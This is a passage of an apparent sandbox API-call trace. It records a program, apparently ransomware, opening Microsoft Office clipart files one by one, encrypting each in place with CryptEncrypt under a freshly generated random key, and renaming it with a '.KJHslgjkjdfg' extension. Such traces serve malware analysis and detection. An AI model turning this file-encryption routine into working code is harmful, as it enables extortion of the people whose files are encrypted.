dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.781] SetEndOfFile (hFile=0x130) returned 1 [0204.783] GetProcessHeap () returned 0x2ef0000 [0204.783] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0204.783] GetProcessHeap () returned 0x2ef0000 [0204.783] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0204.783] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0234376.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0234376.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0234376.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0234376.wmf.kjhslgjkjdfg")) returned 1 [0204.785] CloseHandle (hObject=0x130) returned 1 [0204.785] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660a4230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xcba0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0237225.WMF", cAlternateFileName="")) returned 1 [0204.785] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237225.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0237225.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0204.786] GetProcessHeap () returned 0x2ef0000 [0204.786] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0204.786] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0204.786] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0204.786] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0204.786] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0204.786] GetProcessHeap () returned 0x2ef0000 [0204.786] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0204.786] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0204.786] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0204.786] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0204.788] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0204.788] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0204.788] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0204.788] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0204.788] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0204.789] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0204.789] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0204.789] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.789] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xcba0, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xcba0, lpOverlapped=0x0) returned 1 [0204.790] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xcba0, dwBufLen=0xcba0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xcba0) returned 1 [0204.791] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.791] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xcba0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xcba0, lpOverlapped=0x0) returned 1 [0204.791] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0204.791] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xcc74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.791] SetEndOfFile (hFile=0x130) returned 1 [0204.794] GetProcessHeap () returned 0x2ef0000 [0204.794] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0204.794] GetProcessHeap () returned 0x2ef0000 [0204.794] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0204.794] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237225.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0237225.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237225.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0237225.wmf.kjhslgjkjdfg")) returned 1 [0204.795] CloseHandle (hObject=0x130) returned 1 [0204.796] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24625400, ftCreationTime.dwHighDateTime=0x1be8fbc, ftLastAccessTime.dwLowDateTime=0x565f5550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x24625400, ftLastWriteTime.dwHighDateTime=0x1be8fbc, nFileSizeHigh=0x0, nFileSizeLow=0x5700, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0237228.WMF", cAlternateFileName="")) returned 1 [0204.796] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237228.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0237228.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0204.796] GetProcessHeap () returned 0x2ef0000 [0204.797] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0204.797] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0204.797] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0204.797] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0204.797] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0204.797] GetProcessHeap () returned 0x2ef0000 [0204.797] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0204.797] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0204.797] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0204.797] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0204.799] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0204.799] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0204.799] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0204.800] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0204.800] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0204.800] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0204.800] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0204.800] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.800] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x5700, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x5700, lpOverlapped=0x0) returned 1 [0204.801] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x5700, dwBufLen=0x5700 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x5700) returned 1 [0204.801] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.801] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x5700, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x5700, lpOverlapped=0x0) returned 1 [0204.801] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0204.802] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x57d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.802] SetEndOfFile (hFile=0x130) returned 1 [0204.804] GetProcessHeap () returned 0x2ef0000 [0204.804] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0204.804] GetProcessHeap () returned 0x2ef0000 [0204.804] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0204.804] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237228.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0237228.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237228.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0237228.wmf.kjhslgjkjdfg")) returned 1 [0204.806] CloseHandle (hObject=0x130) returned 1 [0204.806] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660a4230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x60c2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0237336.WMF", cAlternateFileName="")) returned 1 [0204.806] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237336.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0237336.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0204.808] GetProcessHeap () returned 0x2ef0000 [0204.808] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0204.808] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0204.808] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0204.808] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xe, lpOverlapped=0x0) returned 1 [0204.810] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0204.810] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0204.810] GetProcessHeap () returned 0x2ef0000 [0204.810] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0204.810] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0204.810] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0204.811] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0204.811] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0204.811] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0204.811] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0204.811] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0204.811] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0204.811] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0204.811] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0204.811] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.811] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x60c2, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x60c2, lpOverlapped=0x0) returned 1 [0204.813] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x60d0, dwBufLen=0x60d0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x60d0) returned 1 [0204.813] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.813] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x60d0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x60d0, lpOverlapped=0x0) returned 1 [0204.813] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0204.813] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x61a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.813] SetEndOfFile (hFile=0x130) returned 1 [0204.816] GetProcessHeap () returned 0x2ef0000 [0204.816] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0204.816] GetProcessHeap () returned 0x2ef0000 [0204.816] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0204.816] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237336.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0237336.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237336.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0237336.wmf.kjhslgjkjdfg")) returned 1 [0204.818] CloseHandle (hObject=0x130) returned 1 [0204.818] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x51be, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0237759.WMF", cAlternateFileName="")) returned 1 [0204.818] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237759.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0237759.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0204.819] GetProcessHeap () returned 0x2ef0000 [0204.819] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0204.819] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0204.819] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0204.819] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x2, lpOverlapped=0x0) returned 1 [0204.822] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0204.822] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0204.822] GetProcessHeap () returned 0x2ef0000 [0204.822] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0204.822] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0204.822] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0204.822] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0204.822] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0204.822] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0204.822] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0204.822] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0204.822] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0204.823] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0204.823] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0204.823] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.823] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x51be, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x51be, lpOverlapped=0x0) returned 1 [0204.824] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x51c0, dwBufLen=0x51c0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x51c0) returned 1 [0204.825] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.825] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x51c0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x51c0, lpOverlapped=0x0) returned 1 [0204.825] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0204.825] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x5294, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.825] SetEndOfFile (hFile=0x130) returned 1 [0204.827] GetProcessHeap () returned 0x2ef0000 [0204.827] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0204.827] GetProcessHeap () returned 0x2ef0000 [0204.827] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0204.827] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237759.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0237759.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237759.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0237759.wmf.kjhslgjkjdfg")) returned 1 [0204.829] CloseHandle (hObject=0x130) returned 1 [0204.829] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565f5550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x59a0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0238333.WMF", cAlternateFileName="")) returned 1 [0204.829] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238333.WMF" (normalized: "c:\\program files\\microsoft 